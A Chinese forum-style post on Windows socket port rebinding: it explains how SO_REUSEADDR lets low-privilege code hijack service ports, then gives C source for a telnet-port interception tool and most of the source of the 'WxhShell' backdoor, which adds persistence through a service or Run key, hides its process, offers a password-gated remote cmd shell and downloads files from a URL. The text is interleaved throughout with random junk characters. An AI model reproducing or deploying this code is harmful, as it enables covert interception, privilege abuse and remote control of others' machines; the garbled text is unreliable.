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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N7 ox#=g s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,%X"Caz LuE0Hb"S8 saddr.sin_family = AF_INET; 9
7U a, qe<xH#6 saddr.sin_addr.s_addr = htonl(INADDR_ANY); >.o<}!FW W Yo>Md
8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RE%25t| ;ZtN9l 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fG_<HJS(~ ? l>Ra0 这意味着什么?意味着可以进行如下的攻击: D_)N!,i T jrz_o) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3n3$? oV b'1m
9T780 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %+: $uk[ >*]dB| 2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N#<X"&-_# )zv"<>Q 6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 VYw<8AEFY k((kx: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m>{I>:sq 1/tyne=m 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~oX`Gih ZuNUha&a 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9
M90X8 [U@;EeS #include -2qI2Z #include
B".3NQ #include oH"VrS 6 #include &ev#C%Nu DWORD WINAPI ClientThread(LPVOID lpParam); CsX@u# int main() ^OrO&w| { l[Ko> WORD wVersionRequested; u$rSM0CJ DWORD ret; +#Ga}eCM WSADATA wsaData; KSve_CBOh BOOL val; cMoBYk SOCKADDR_IN saddr; W_bA.zT{ SOCKADDR_IN scaddr; =J0r,dR int err; 2=
)V"lR\ SOCKET s; ?Ll1B3f SOCKET sc; 95.s,'0 int caddsize; eHc.#OA& HANDLE mt; t; b1<TLn0 DWORD tid; 5;CqGzgoP wVersionRequested = MAKEWORD( 2, 2 ); Z\S'HNU err = WSAStartup( wVersionRequested, &wsaData ); #Fckev4 if ( err != 0 ) { _5/3RN
printf("error!WSAStartup failed!\n"); jP31K{G? return -1; (gEz<}Av. } ,8)aKy saddr.sin_family = AF_INET; lFV\Go 7?]wAH89 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1B`JvNtd S;}/ql y saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BmFtRbR saddr.sin_port = htons(23); {`+:!X if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jL*s(Yq { IN=l|Q$8f printf("error!socket failed!\n"); IXU~&5&J return -1; }+fBJ$ } Q94p*]W" val = TRUE; ow7*HN* //SO_REUSEADDR选项就是可以实现端口重绑定的 c8oE,-~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +:3p*x%1H { )VeeAu)p printf("error!setsockopt failed!\n"); F$HL\y return -1; 0IxHB|^$ } l'RuzBQr //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]htx9ds= //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \79aG3MyK //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &`}ACTY'P 7!A3PDAe if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q5c13g2(c { X=[`+= ret=GetLastError(); uz@lz + printf("error!bind failed!\n"); 4`p[t;q return -1; vFK!LeF% } ]//Dd/L6 listen(s,2); oRHWb_$" while(1) [(iJj3s! { jTN!\RH9NF caddsize = sizeof(scaddr); jF6[+bW< //接受连接请求 66'AaA;0^i sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~-BIUZ; if(sc!=INVALID_SOCKET) r1zuc:W1 { v;:. k,E0 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tRXR/;3O if(mt==NULL) 2l}3L { 6D29s]h2 printf("Thread Creat Failed!\n"); puK /;nns break; ;|.IUXEgcF } K~14; } V3[>^ZCA CloseHandle(mt); Jm3iYR+, } q&@q/9kz closesocket(s); .xg, j{%( WSACleanup(); j12khp? return 0; Wa'm]J } r~sQdf DWORD WINAPI ClientThread(LPVOID lpParam) !;B^\
8{ { qdwjg8fo4Z SOCKET ss = (SOCKET)lpParam; cB4p.iO
SOCKET sc; w6.J&O unsigned char buf[4096]; 29k\}m7l<* SOCKADDR_IN saddr; JDm7iJxc_ long num; }tPI#[cfK DWORD val; F}4jm,w DWORD ret; gg QI //如果是隐藏端口应用的话,可以在此处加一些判断 CDGN}Q2 _ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 d1/uI^8> saddr.sin_family = AF_INET; Q*caX
saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Jtl[9qe#] saddr.sin_port = htons(23); 8\rHSsP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pu5-=QN { S@eI3PkE printf("error!socket failed!\n"); z=a{;1A return -1; 2w67>w\ } 3QD##Wr^ val = 100; gfU!sYZ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v1~`76^ { MUqV$#4@I ret = GetLastError(); (C!33s1 return -1; /@f3|L<1@V } ]z5gC`E0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2Ls { X5wYfN ret = GetLastError(); roE*8:Y return -1; AE&IN.- } Auf2JH~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jl~?I*Gr { &ajpD sz; printf("error!socket connect failed!\n"); ($Y6hn+ closesocket(sc); a%)-iL
X8& closesocket(ss); "ju0S & return -1; R{A$hnhW6 } t"]~e" while(1) %2TjG { XV*uu "F //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tS&rR0<OW //如果是嗅探内容的话,可以再此处进行内容分析和记录 mLL?n) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +)l6%QKcW num = recv(ss,buf,4096,0); oN
" /w~ if(num>0) gTwxmp., send(sc,buf,num,0); {h *Pkn1 else if(num==0) m\?H
<o0 break;
QKtTy>5 num = recv(sc,buf,4096,0); k-a3oLCR, if(num>0) ,1&</R_ send(ss,buf,num,0); d}RR!i`<N else if(num==0) _ya_Jf* break; 'hl4cHk14 } A?/(W_Gt^M closesocket(ss); 1VC:o]$ closesocket(sc); q/HwcX+[b return 0 ; mo-
Y % } iLD:}yK nnPY8pdjSD T?'Vb ========================================================== C"!k`i=Lj ds" q1 下边附上一个代码,,WXhSHELL ULIpb ESt@%7.F ========================================================== V_Oj?MMpn >g FEA0- #include "stdafx.h" =g+Rk+ jn ]EZiPW-uy #include <stdio.h> MUfhk)" #include <string.h> OFe?T\dQn #include <windows.h> /htM/pR #include <winsock2.h> f/6,b&l, #include <winsvc.h> jsOid5bs #include <urlmon.h> =vZF/r f]Q`8nU #pragma comment (lib, "Ws2_32.lib") sHQ82uX #pragma comment (lib, "urlmon.lib") y,QJy=? :gJ?3LwTf #define MAX_USER 100 // 最大客户端连接数 t\%gP@? #define BUF_SOCK 200 // sock buffer /"%(i#<)xs #define KEY_BUFF 255 // 输入 buffer x[5uz)) yq2pg8% #define REBOOT 0 // 重启 kL1StF#p #define SHUTDOWN 1 // 关机 vMB`TpZ Wy`ve~y #define DEF_PORT 5000 // 监听端口 lboi\GP| rW(<[2 vg #define REG_LEN 16 // 注册表键长度 7r4|>F #define SVC_LEN 80 // NT服务名长度 YXr" nVt,= ?_ U // 从dll定义API U4*Q;A# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c$skLz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1$#{om9 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _pS|bqF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @ = M:RA ,_(AiQK // wxhshell配置信息 8A ;)5! struct WSCFG { efu'PfZ`& int ws_port; // 监听端口 n$O[yRMI[ char ws_passstr[REG_LEN]; // 口令 t5Oeb<REz int ws_autoins; // 安装标记, 1=yes 0=no O.% $oV char ws_regname[REG_LEN]; // 注册表键名 J*} warf& char ws_svcname[REG_LEN]; // 服务名 ]F4.m char ws_svcdisp[SVC_LEN]; // 服务显示名 L d;))e char ws_svcdesc[SVC_LEN]; // 服务描述信息 qXw^y char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U$,W/G}m int ws_downexe; // 下载执行标记, 1=yes 0=no Lm{qFu char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" $)O=3dNbo char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q&RezHK l C6T?D5 }; T7bDt EDf"1b{PX // default Wxhshell configuration aF41?.s struct WSCFG wscfg={DEF_PORT, ,p\:Z3{ZH "xuhuanlingzhe", Adma~]T9 1, ^L@2%}6b` "Wxhshell", e: aa "Wxhshell", \_w>I_=F "WxhShell Service", 34gC[G= "Wrsky Windows CmdShell Service", 4Lb!Au|Y "Please Input Your Password: ", /Q nq,`z 1, GWvw<`4 " http://www.wrsky.com/wxhshell.exe", 0mMoDJRy "Wxhshell.exe" %qYiE!%& }; t3//
U# ;n~-z5) // 消息定义模块 qTuQ]*[- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; miTySY6^ char *msg_ws_prompt="\n\r? for help\n\r#>";
e#t7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; zvgy$]y'\ char *msg_ws_ext="\n\rExit."; !Enq2 char *msg_ws_end="\n\rQuit."; z?DI4O#Up char *msg_ws_boot="\n\rReboot..."; ^.HvuG},O char *msg_ws_poff="\n\rShutdown..."; Ok V*,n char *msg_ws_down="\n\rSave to "; 3Hd~mfO\ &{uj3s&C
char *msg_ws_err="\n\rErr!"; nign"r char *msg_ws_ok="\n\rOK!"; 45aUz@ MoX~ZewWR char ExeFile[MAX_PATH]; -+ha4JOB int nUser = 0; ,ut-Di=6 HANDLE handles[MAX_USER]; CVt:tV int OsIsNt; n LD1j z*FCd6X SERVICE_STATUS serviceStatus; aJ/}ID SERVICE_STATUS_HANDLE hServiceStatusHandle; =}D9sT y2{uEbA // 函数声明 !jTtMx int Install(void); [^S(SPL int Uninstall(void); a-bj! Rs int DownloadFile(char *sURL, SOCKET wsh); Pb`Uxv int Boot(int flag);
B8~JUGD void HideProc(void); X;&Iu{&= int GetOsVer(void); m0Geq. int Wxhshell(SOCKET wsl); }nUq=@ej void TalkWithClient(void *cs); bpx
^ int CmdShell(SOCKET sock); Db`SNk= int StartFromService(void); 8= kwc int StartWxhshell(LPSTR lpCmdLine); ?l9j] 77b^d9! ~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xMs!FMn[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); R0g^0K. _@5|r|P> // 数据结构和表定义 vk0b b3){D SERVICE_TABLE_ENTRY DispatchTable[] = 0Fw4}f.o { DEw>f%&4 {wscfg.ws_svcname, NTServiceMain}, $-MVsa9>I {NULL, NULL} BICG@ }; \}Al85 ~jR4%VF // 自我安装 /wI"oHZd int Install(void) K2> CR$L { CBr(a'3{Z char svExeFile[MAX_PATH]; 3%[;nhbA7 HKEY key; g2;lEW strcpy(svExeFile,ExeFile); n
"bii7h #PkZi(k
hv // 如果是win9x系统,修改注册表设为自启动 mPL0s if(!OsIsNt) { >I@VHl O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )! eJW( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AxtmG\o> RegCloseKey(key); ?Gl]O3@3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "qrde4O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S"4eS,5L| RegCloseKey(key); @ tvz9N return 0; "vka7r } $*Kr4vh } )Yu } :pfLa2f+ else { ?Kt F!:_C
=(]Z%Q-V // 如果是NT以上系统,安装为系统服务 Kr5(fU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AP:Q]A6} if (schSCManager!=0) I`f5)iF?0 { @C|nc&E2s SC_HANDLE schService = CreateService Qhq' %LR ( w^"IR schSCManager, v YJ9G"E wscfg.ws_svcname, ?g9:xgkF
^ wscfg.ws_svcdisp, d9& SERVICE_ALL_ACCESS, jsFfrS"* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jF}-dfe SERVICE_AUTO_START, !-t,r%CG SERVICE_ERROR_NORMAL, Vw|P;LLl` svExeFile, M#_|WL~ NULL, [{$%9lm NULL, \%|Xf[AX NULL, /%mT2 NULL, ;1HzY\d%< NULL ]rG/?1'^i ); /9e?uC6 if (schService!=0) B[k=6EU8k { ,$} xPC CloseServiceHandle(schService); ]OtnekkK$ CloseServiceHandle(schSCManager); ]"&](e6* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4[(NxXH8M strcat(svExeFile,wscfg.ws_svcname); I>GBnx
L
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i! x>)E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); en '""
w RegCloseKey(key); 31~nay15 return 0; 9Pb6Z} } L#",.x } 35Yf,@VO CloseServiceHandle(schSCManager); nwp(% fBo } gBky ZK } .g3=L <iA\ZS: return 1; %q}[ZD/HD } /w1M%10 2Rt6)hgY // 自我卸载 1uO2I&B int Uninstall(void) AhD C5ue= { dU#-;/}o HKEY key; CLTkyS)C ;=7K*npT if(!OsIsNt) { 0k#7LubWZl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *a\6X(
~ RegDeleteValue(key,wscfg.ws_regname); -V4%f{9T3 RegCloseKey(key); QgI[#d{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $~S~pvT RegDeleteValue(key,wscfg.ws_regname); ~nTj't2R RegCloseKey(key); kU+|QBA@ return 0; ruQt0q,W3% } pCDN9*0/ } H %c6I } lxm/*^
else { R8cOb*D XC5/$3'M& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $&=xw _ if (schSCManager!=0) 8PzGUn;\ { fZezDm(Q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .L+XV y if (schService!=0) wk ^7/B { >{N}UNZ$} if(DeleteService(schService)!=0) { c:.~%AJx CloseServiceHandle(schService); ^nK<t?KS CloseServiceHandle(schSCManager); x9,jXd return 0; .[}G{%M~[ } ~ ;LzTL CloseServiceHandle(schService); (-g*U# } 1$8@CT^m CloseServiceHandle(schSCManager); Z2gWa~dBC } jM&di } ;F#(:-: F~8'3!<9 return 1; R0}1:1}$Sn } K8aqC{ *68 TTBq( // 从指定url下载文件 :{2~s int DownloadFile(char *sURL, SOCKET wsh) 0|RofL&o { ?+))J~@t HRESULT hr; CVWT>M< char seps[]= "/"; +rJ6DZ char *token; ."H;bfcL_ char *file; bx(@ fl:m char myURL[MAX_PATH]; QXZyiJX} char myFILE[MAX_PATH]; GPGE7X' v !8=B21 strcpy(myURL,sURL); J\r\_P@;c token=strtok(myURL,seps); ]bJz-6u#: while(token!=NULL) QJ3#~GYNr { oX;.v9a file=token; N^dQX,j token=strtok(NULL,seps); 54CJ6"q } |L8
[+_m V2ih/mh GetCurrentDirectory(MAX_PATH,myFILE); pY`$k#5 strcat(myFILE, "\\"); ts!tv6@ strcat(myFILE, file); .P$m?p# send(wsh,myFILE,strlen(myFILE),0); ]:Gy]qkO send(wsh,"...",3,0); 4kjfYf@A hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,\s`T O if(hr==S_OK) Z-U u/GjB return 0; l cie6'< else `UTPX'Vz return 1; D xV=S0P ${MzOi } x-m*p^} b)<WC$" // 系统电源模块 SHX`/ int Boot(int flag) ~= *o { 3uocAmY HANDLE hToken; z.Ic?Wz7 TOKEN_PRIVILEGES tkp; bGCC?}\ 1EXT^2!D if(OsIsNt) { >jX" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &t^*0/~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -67Z!N tkp.PrivilegeCount = 1; nbF<K? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }6@E3z]AMO AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hBjU(}\3 if(flag==REBOOT) { 6u0>3-[6OD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2%sZaM return 0; !+%gJiu: } AH#mL else { Jy)=TJ!y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w'K7$F51 return 0; Z 2N6r6 } Vr
EGR$ } w$:\!FImx else { [kg?q5F) if(flag==REBOOT) { !0W(f.A{K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `NNP<z+\ return 0; 8Yh'/,o=L# } [)Nt;|U else { J<0{3pZY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9wYm(7M6 return 0; ~_fc=^o } wa8jr5/k" } a9-Mc5^'n NPK; return 1; ga;nM#/ } Uj7YTB e,JBz~CK*w // win9x进程隐藏模块 l+9RPJD/: void HideProc(void) DyN[Yp|V { X"!j_*&ED #<xFO^TB HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ddr.6`VJ if ( hKernel != NULL ) gAD f9x"b { |*NLWN.ja) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |dgiW"tUm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F9
r5 Z FreeLibrary(hKernel); h9QM
nH' } SaXt"Ju,AH EHwb?{ return; klUV&O+=% } ^
8 }P_ K1 "HJsj // 获取操作系统版本 yMN JHiE/ int GetOsVer(void) TRi'l #m4 { ,Vi_~b OSVERSIONINFO winfo; 6TW<,SM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]`$6=)_X GetVersionEx(&winfo); IU8zidn& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cb^IJA9}
return 1; $VmV>NZ else e3ZRL91c return 0; F_qApyU,7 } rr
tMd k* C69 // 客户端句柄模块 l$gJ^Wf2gY int Wxhshell(SOCKET wsl) h"1}j'2>@ { Z?+ )ox SOCKET wsh; ,7B7X)m{3 struct sockaddr_in client; P8YnKyI,. DWORD myID; LA6XTgcu g=\(%zfsxr while(nUser<MAX_USER) 6]1RxrAV { L ci? int nSize=sizeof(client); -dM~3' wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B&_:20^y~ if(wsh==INVALID_SOCKET) return 1; \^(#b,k# ?Z{/0X)]| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E!Q@AZ if(handles[nUser]==0) BbX$R`f closesocket(wsh); -9om,U`t else R|RGoGE6g nUser++; MGF!ZZ\ } JP Dxzp WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lf(+]k30 "q?(rx; return 0; "o--MBq4 } 0aY|: :$G^TD/n // 关闭 socket :rr<#F void CloseIt(SOCKET wsh) zu}uW,XH- { dzIBdth closesocket(wsh); < dE7+w nUser--;
ck;:84 ExitThread(0); (Iv@SiZf( } ~aotV1"D #X)DFAtb // 客户端请求句柄 9BakxmAc void TalkWithClient(void *cs) ,O:4[M !$w { W>' DQB XIMh< SOCKET wsh=(SOCKET)cs; 570ja7C: char pwd[SVC_LEN]; 1Lf - char cmd[KEY_BUFF]; iX?j "=! char chr[1]; .Yk}iHcW. int i,j; 4M"'B A< Ue9d0#9 while (nUser < MAX_USER) { SVa^:\"$[ \ ERBb. if(wscfg.ws_passstr) { <\~@l^lU if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +IXr4M&3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ls2,+yo]> //ZeroMemory(pwd,KEY_BUFF); ar@,SKU'K i=0; ~[!Tpq5 while(i<SVC_LEN) { MTwzL<@$ yHY2 SXm // 设置超时 _Q #[IH9 fd_set FdRead; HHx5VI struct timeval TimeOut; *fY*Wy9 FD_ZERO(&FdRead); eF;Jj>\R+i FD_SET(wsh,&FdRead); # 9bw'm TimeOut.tv_sec=8; CM~x1f *v TimeOut.tv_usec=0; {v!w2p@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =&g:dX|q8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @[D5{v)S |+h x2?Nv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k6 OO\= pwd =chr[0]; &LV'"2ng8 if(chr[0]==0xd || chr[0]==0xa) { Z&@P< pwd=0; HE*^!2f break; bv7)[,i } V~Guw[RA i++; ^d>m`*px } #}1yBxB<= "vYjL&4h // 如果是非法用户,关闭 socket N8T.Ye N if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s|WcJV } QfjoHeG7 ]@_|A, ] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hAgrs[OFj send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
2X`t&zg P=_W{6 while(1) { VVF9X(^rQ e<DcuF<ZS ZeroMemory(cmd,KEY_BUFF); kJ* N`= An]Vx<PD // 自动支持客户端 telnet标准 -Nr*na^H9# j=0; h 1'm[Y while(j<KEY_BUFF) { 6ZjUC1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e9\_H=t+ cmd[j]=chr[0]; YPs9Pqkn if(chr[0]==0xa || chr[0]==0xd) { :S`12*_g" cmd[j]=0; {_>XsB break;
ndyIsR } ./tZ*sP: j++; JrxQ.,*i } r{*Qsaw bz1`f >%l // 下载文件 'Q*.[aJt if(strstr(cmd,"http://")) { lNe5{'OrO send(wsh,msg_ws_down,strlen(msg_ws_down),0); "Z';nmv'N if(DownloadFile(cmd,wsh)) f. h3:_r send(wsh,msg_ws_err,strlen(msg_ws_err),0); $U&p&pgH=W else .'
v$PEy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gp_flGdGQ } i1{)\/f3 else { ^Ux.s Q {Zs
EYUP switch(cmd[0]) { njNqUo> F.Bij8\ // 帮助 B&(/,. case '?': { 75h]#k9\ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B%x?VOdBE break; xxgdp. ( } A(XX2f!i // 安装 }Oe4wEYN) case 'i': { >kuu\ if(Install()) 7OPRf9+o send(wsh,msg_ws_err,strlen(msg_ws_err),0); xyV7MW\?w else xNJ*TA[+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nh+h3"-d break; Ix@nRc' } ~1Ffu x // 卸载 ZlMS=<hgFx case 'r': { 6m:$RW if(Uninstall()) zo
]-,u send(wsh,msg_ws_err,strlen(msg_ws_err),0); V\c`O else IUG}Q7w5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X2 <fS~m break; ;+3@S`2r } /*6[Itm_h // 显示 wxhshell 所在路径 L8pKVr case 'p': { ihct~y-9W char svExeFile[MAX_PATH]; ?5[$d{ Gjl strcpy(svExeFile,"\n\r"); !6 kn>447Y strcat(svExeFile,ExeFile); 3z k},8fu send(wsh,svExeFile,strlen(svExeFile),0); K,bX<~e5 break; v# fny } _GoFwVO // 重启 T0o0_R case 'b': { y
:QnK0 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i"^ yy+ if(Boot(REBOOT)) 7 $Cv=8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); R_80J=%0 else { s?9`dv}P closesocket(wsh); WQ{^+C9g'1 ExitThread(0); {(d 6of`C_ } #A~7rH%hi break; 5sB~.z@ } b.
:2x4 // 关机 >+%0|6VSb case 'd': { H@|m^1 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Kciz^)'Z if(Boot(SHUTDOWN)) IR8qFWDZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q ~eh_>" else { RRpCWcIv" closesocket(wsh); yx<-M ExitThread(0); 4^^=^c } w,1*dn break; XCGK&OGI } 0Fs2* FS // 获取shell "JgwL_2 case 's': { _Q*,~ z~ CmdShell(wsh); OL.{lKJ3DV closesocket(wsh); cVaGgP}\ ExitThread(0); 0c&DSL}6 break; Gl4f:` } ~kI$8oAry // 退出 K;R!>p}t case 'x': { YCG$GD send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cU "uKR CloseIt(wsh); wk2Ff*& break; &!>.)I` } <Ug1g0. // 离开 =>e>
r~cW case 'q': { +[V.yY/t|> send(wsh,msg_ws_end,strlen(msg_ws_end),0); pWeD,!f closesocket(wsh); MZ^(BOe_ WSACleanup(); ZQsVSz( 1 exit(1); cj|Urt break; C jz(-018 } nKch:g } ?0d#O_la3 } }gQnr;lv $F@ ,,* // 提示信息 5"L.C32 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s[t?At-> } As|e=ut( } i@ehD@.dH nYTPcT4x| return; 3g3Znb } Ee{Y1W rDLgQ{Sea // shell模块句柄 =GC,1WVEqV int CmdShell(SOCKET sock) :f0#4'f { ' $"RQ= STARTUPINFO si; 5C5OLAl v ZeroMemory(&si,sizeof(si)); !wo si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G9~ 4?v6: si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /!pJ" @ PROCESS_INFORMATION ProcessInfo; Yo}QW;,g char cmdline[]="cmd"; CH0Nkf CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j
HEt
return 0; m :2A[H+ } p|w0
i[hc oUL4l=dj. // 自身启动模式 rotu#?B int StartFromService(void) CE|rn8MB { Lr*\LP6jx3 typedef struct YN7JJJ/~T { }k@SmO8 DWORD ExitStatus; mv#*%St5 DWORD PebBaseAddress;
tPFj[Y~Iy DWORD AffinityMask; eI/5foA DWORD BasePriority; [I(
Yn ULONG UniqueProcessId; (~?p`g+I.P ULONG InheritedFromUniqueProcessId; "6i3'jc` } PROCESS_BASIC_INFORMATION; OgCz[QXr_ (J.k\d PROCNTQSIP NtQueryInformationProcess; x-~=@oiv O_v*,L! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8-x)8B static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B|r' -7VQ{nC HANDLE hProcess; Lv<vMIr PROCESS_BASIC_INFORMATION pbi; ,#j'~-5 ^MvBW6#1 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !d1a9los if(NULL == hInst ) return 0; _W>xFBy
